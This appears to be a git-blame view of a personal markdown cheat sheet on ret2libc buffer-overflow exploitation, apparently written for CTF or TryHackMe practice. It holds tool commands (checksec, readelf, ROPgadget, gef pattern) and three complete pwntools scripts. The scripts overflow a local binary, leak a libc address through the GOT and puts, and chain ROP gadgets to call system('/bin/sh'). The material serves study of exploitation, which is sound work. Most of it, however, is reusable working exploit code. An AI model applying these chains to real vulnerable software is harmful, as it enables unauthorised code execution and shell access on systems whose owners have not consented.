2022-11-13 22:38:01 +01:00
|
|
|
# Ret2libc
|
|
|
|
|
|
|
|
* [ir0nstone ret2libc](https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/ret2libc)
|
|
|
|
|
|
|
|
* Check binary via
|
|
|
|
* `checksec`, PIE shows start address, RELRO shows permissions of r/w to got
|
|
|
|
* `file`
|
|
|
|
* Libc is affected by ASLR state of the machine, check via `cat /proc/sys/kernel/randomize_va_space`
|
|
|
|
* Off = 0
|
|
|
|
* Partial = 1
|
|
|
|
* Full = 2
|
|
|
|
* `got` contains dynamically loaded functions
|
|
|
|
* `plt` contains used loaded dynamical functions
|
|
|
|
|
|
|
|
## Finding something to execute
|
|
|
|
* Interesting stuff to call from inside libc
|
|
|
|
* `/bin/sh`
|
|
|
|
* `system`
|
|
|
|
|
|
|
|
## libc -- Finding Offsets
|
|
|
|
|
|
|
|
* Find libc address at runtime via gbd
|
|
|
|
```sh
|
|
|
|
info sharedlibrary
|
|
|
|
```
|
2023-05-03 23:20:31 +02:00
|
|
|
or statically via ldd
|
|
|
|
```sh
|
|
|
|
ldd ./<binary>
|
|
|
|
```
|
|
|
|
|
|
|
|
### Find offsets to gadgets in libc
|
2022-11-13 22:38:01 +01:00
|
|
|
|
|
|
|
* On target find `sh` address inside libc
|
|
|
|
```sh
|
|
|
|
strings -a -t x /lib32/libc.so.6 | grep /bin/sh
|
|
|
|
```
|
|
|
|
* Sub from `system` address from inside libc
|
|
|
|
```sh
|
2023-05-03 23:20:31 +02:00
|
|
|
readelf -s /lib32/libc.so.6 | grep system | awk '{print $2}'
|
|
|
|
```
|
|
|
|
|
|
|
|
* Pwntools can be used as well
|
|
|
|
```sh
|
|
|
|
libc = elf.libc
|
|
|
|
libc.address = 0x7ff83d8d000
|
|
|
|
system = libc.sym['system']
|
|
|
|
bin_sh = next(libc.search(b'/bin/sh'))
|
2022-11-13 22:38:01 +01:00
|
|
|
```
|
|
|
|
|
|
|
|
### Measure the Buffer
|
|
|
|
* With gef
|
|
|
|
* `pattern create`
|
|
|
|
* `run`
|
|
|
|
* Use pattern
|
|
|
|
* `pattern search $<register>`
|
|
|
|
|
|
|
|
## ROP -- Creating a Chain
|
|
|
|
|
|
|
|
* Creating a ROP chain to execute the `/bin/sh` with parameters
|
|
|
|
* Check
|
|
|
|
* Architecture
|
|
|
|
* Calling convention
|
|
|
|
|
|
|
|
### Manually
|
|
|
|
|
|
|
|
```sh
|
|
|
|
ROPgadget --binary <file> | grep rdi
|
|
|
|
```
|
|
|
|
* Find `ret`s, to put in front of rdi
|
|
|
|
```sh
|
|
|
|
objdump -d <file> | grep ret
|
|
|
|
```
|
|
|
|
|
|
|
|
## Automated
|
|
|
|
|
|
|
|
* [xct's ropstar](https://github.com/xct/ropstar.git)
|
|
|
|
|
2023-05-03 23:20:31 +02:00
|
|
|
## Examples
|
|
|
|
|
|
|
|
### Example without ASLR
|
|
|
|
|
2022-11-13 22:38:01 +01:00
|
|
|
```python
|
|
|
|
from pwn import *
|
|
|
|
|
|
|
|
p = process('<binary>')
|
|
|
|
|
|
|
|
cbase = 0x<libc_base>
|
|
|
|
sys = cbase + <libc_system>
|
|
|
|
sh = cbase + <libc_shell>
|
|
|
|
rop_rdi = <found rop rdi>
|
|
|
|
rop_ret = <found rop ret>
|
|
|
|
|
|
|
|
payload = b'A' * <count>
|
|
|
|
payload += b'B' * 8
|
|
|
|
payload += p64(rop_rdi)
|
|
|
|
payload += p64(sh)
|
2023-05-03 23:20:31 +02:00
|
|
|
payload += p64(0x0) # maybe rop_ret
|
2022-11-13 22:38:01 +01:00
|
|
|
payload += p64(system)
|
|
|
|
|
|
|
|
p.recv()
|
|
|
|
p.sendline(payload)
|
|
|
|
p.interactive()
|
|
|
|
```
|
|
|
|
|
2023-05-03 23:20:31 +02:00
|
|
|
### Example with ASLR
|
|
|
|
|
2022-11-13 22:38:01 +01:00
|
|
|
* Create context
|
|
|
|
```python
|
|
|
|
#!/usr/bin/env python3
|
|
|
|
|
|
|
|
from pwn import *
|
|
|
|
|
|
|
|
context.binary = binary = '<binary>'
|
|
|
|
elf = ELF(binary)
|
|
|
|
rop = ROP(elf)
|
|
|
|
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
|
|
|
|
p = process()
|
|
|
|
|
2023-05-03 23:20:31 +02:00
|
|
|
# ROP I, needed when ASLR is enabled
|
2022-11-13 22:38:01 +01:00
|
|
|
payload = b'A' * 18
|
|
|
|
payload += p64(rop.find_gadget(['pop rdi', 'ret'])[0])
|
|
|
|
payload += p64(elf.got.gets)
|
|
|
|
payload += p64(elf.plt.puts)
|
|
|
|
payload += p64(elf.symbols.main)
|
|
|
|
|
|
|
|
p.recvline()
|
|
|
|
p.sendline(payload)
|
|
|
|
p.recvline()
|
|
|
|
leak = u64(p.recvline().strip().ljust(8,b'\0')) # ljust, pre padding for alignement
|
|
|
|
p.recvline()
|
|
|
|
|
|
|
|
log.info(f"gets: {hex(leak)}")
|
|
|
|
libc.address = leak - libc.symbols.gets
|
|
|
|
log.info(f"libc address: {hex(libc.address)}") # start address should be aligned
|
|
|
|
|
|
|
|
# ROP II
|
|
|
|
payload = b'A' * 18
|
|
|
|
payload += p64(rop.find_gadget(['pop rdi', 'ret'])[0])
|
|
|
|
payload += p64(next(libc.search(b'/bin/sh')))
|
|
|
|
payload += p64(rop.find_gadget(['ret'])[0])
|
|
|
|
payload += p64(libc.symbols.system)
|
|
|
|
|
|
|
|
p.sendline(payload)
|
|
|
|
p.recvline()
|
|
|
|
p.interactive()
|
|
|
|
```
|
2023-05-03 23:20:31 +02:00
|
|
|
|
|
|
|
### Example: exploit_me
|
|
|
|
|
|
|
|
This is taken from [shoulderhu's gitbook](https://github.com/shoulderhu/gitbook-tryhackme/blob/master/walkthroughs/medium/ret2libc.md)
|
|
|
|
The libc base is found through a delta of the leaked value and libc gets symbol offset.
|
|
|
|
|
|
|
|
|
|
|
|
```python
|
|
|
|
from pwn import *
|
|
|
|
|
|
|
|
context.binary = binary = './exploit_me'
|
|
|
|
elf = ELF(binary)
|
|
|
|
rop = ROP(elf)
|
|
|
|
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
|
|
|
|
|
|
|
|
padding = b'A' * 18
|
|
|
|
payload = padding
|
|
|
|
payload += p64(rop.find_gadget(['pop rdi', 'ret'])[0])
|
|
|
|
payload += p64(elf.got.gets)
|
|
|
|
payload += p64(elf.plt.puts)
|
|
|
|
payload += p64(elf.symbols.main)
|
|
|
|
|
|
|
|
p = process()
|
|
|
|
p.recvline()
|
|
|
|
p.sendline(payload)
|
|
|
|
p.recvline()
|
|
|
|
leak = u64(p.recvline().strip().ljust(8, b'\0'))
|
|
|
|
p.recvline()
|
|
|
|
|
|
|
|
log.info(f'Gets leak => {hex(leak)}')
|
|
|
|
libc.address = leak - libc.symbols.gets
|
|
|
|
log.info(f'Libc base => {hex(libc.address)}')
|
|
|
|
|
|
|
|
payload = padding
|
|
|
|
payload += p64(rop.find_gadget(['pop rdi', 'ret'])[0])
|
|
|
|
payload += p64(next(libc.search(b'/bin/sh')))
|
|
|
|
payload += p64(rop.find_gadget(['ret'])[0])
|
|
|
|
payload += p64(libc.symbols.system)
|
|
|
|
|
|
|
|
p.sendline(payload)
|
|
|
|
p.recvline()
|
|
|
|
p.interactive()
|
|
|
|
```
|